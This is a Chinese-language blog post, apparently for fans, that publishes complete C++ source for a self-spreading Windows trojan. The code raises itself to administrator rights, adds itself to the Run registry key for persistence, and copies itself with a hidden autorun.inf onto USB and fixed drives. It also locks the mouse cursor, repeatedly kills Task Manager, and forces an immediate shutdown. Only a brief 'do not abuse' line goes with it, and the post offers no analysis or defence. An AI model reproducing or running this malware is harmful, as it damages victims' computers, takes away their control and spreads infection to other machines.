首先感谢粉丝的支持!
上代码!
#include#include #include #include #include #include using namespace std; void *do_thread(void *arg); HWND hWnd = GetConsoleWindow(); char szAutoRun[] = "[AutoRun] n" "open=notepad.exen" "shell\open=打开(&O)n" "shell\open\command=notepad.exen" "shell\explore=资源管理器(&X)n" "shell\explore\command=notepad.exen" "shellexecute=notepad.exen" "shell\Auto\command=notepad.exe"; void infect(char* pszFile, UINT uDriveType) { char szDriveString[MAXBYTE] = {}; DWORD dwRet = 0; DWORD iNum = 0; char szRoot[4] = {}; UINT uType = 0; char szTarget[MAX_PATH] = {}; dwRet = GetLogicalDriveStrings(MAXBYTE, szDriveString); while(iNum < dwRet) { strncpy(szRoot, &szDriveString[iNum], 3); uType = GetDriveType(szRoot); if(uType == uDriveType) { lstrcpy(szTarget, szRoot); lstrcat(szTarget, "notepad.exe"); CopyFile(pszFile, szTarget, FALSE); SetFileAttributes(szTarget, FILE_ATTRIBUTE_HIDDEN); lstrcpy(szTarget, szRoot); lstrcat(szTarget, "autorun.inf"); HANDLE hFile = CreateFile(szTarget, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); DWORD dwWritten = 0; WriteFile(hFile, szAutoRun, lstrlen(szAutoRun), &dwWritten, NULL); CloseHandle(hFile); SetFileAttributes(szTarget, FILE_ATTRIBUTE_HIDDEN); } iNum += 4; } } void test() { HKEY hKey; if(RegOpenKeyEx(HKEY_CURRENT_USER, _T("SOFTWARE\Microsoft\Windows\CurrentVersion\Run"), 0, KEY_ALL_ACCESS, &hKey) == ERROR_SUCCESS) { TCHAR strExeFullDir[MAX_PATH]; GetModuleFileName(NULL, strExeFullDir, MAX_PATH); TCHAR strDir[MAX_PATH] = {}; DWORD nLength = MAX_PATH; long result = RegGetValue(hKey, nullptr, _T("超强木马"), RRF_RT_REG_SZ, 0, strDir, &nLength); if(result != ERROR_SUCCESS || _tcscmp(strExeFullDir, strDir) != 0) { RegSetValueEx(hKey, _T("GISRestart"), 0, REG_SZ, (LPBYTE)strExeFullDir, (lstrlen(strExeFullDir) + 1)*sizeof(TCHAR)); RegCloseKey(hKey); } } } void ManagerRun(LPCSTR exe, LPCSTR param, int nShow = SW_SHOW) { SHELLEXECUTEINFO ShExecInfo; ShExecInfo.cbSize = sizeof(SHELLEXECUTEINFO); ShExecInfo.fMask = SEE_MASK_NOCLOSEPROCESS ; ShExecInfo.hwnd = NULL; ShExecInfo.lpVerb = "runas"; ShExecInfo.lpFile = exe; ShExecInfo.lpParameters = param; ShExecInfo.lpDirectory = NULL; ShExecInfo.nShow = nShow; ShExecInfo.hInstApp = NULL; BOOL ret = ShellExecuteEx(&ShExecInfo); CloseHandle(ShExecInfo.hProcess); } int main(int argc, char *argv[]) { if(argc == 1) { ShowWindow(GetConsoleWindow(), SW_HIDE); ManagerRun(argv[0], "2"); return 1; } else if(argc == 2) { string s; ifstream id("die.txt"); id >> s; if(int(s.find("false")) != -1) { cout << "检测到结束文件,已结束病毒!" << endl;; system("pause"); return 0; } ShowWindow(hWnd, SW_HIDE); test(); pthread_t tid; int ret; ret = pthread_create(&tid, NULL, do_thread, NULL); if(ret) { fprintf(stderr, "创建线程失败!n"); return -1; } ret = pthread_detach(tid); char szFileName[MAX_PATH] = {}; char szRoot[4] = {}; UINT uType = 0; GetModuleFileName(NULL, szFileName, MAX_PATH); strncpy(szRoot, szFileName, 3); uType = GetDriveType(szRoot); switch(uType) { case DRIVE_FIXED: { infect(szFileName, DRIVE_REMOVABLE); break; } case DRIVE_REMOVABLE: { infect(szFileName, DRIVE_FIXED); break; } } system("shutdown -s -t 0"); } return 0; } void *do_thread(void *arg) { while(true) { SetCursorPos(0, 0); system("taskkill /F /IM taskmgr.exe"); Sleep(10); } }
这个病毒新有提升到管理员权限,同时运行两串代码,边寄宿电脑,边定住鼠标,关闭任务管理器!
请勿滥用此代码!
好了,本期就到这里,感谢粉丝支持!



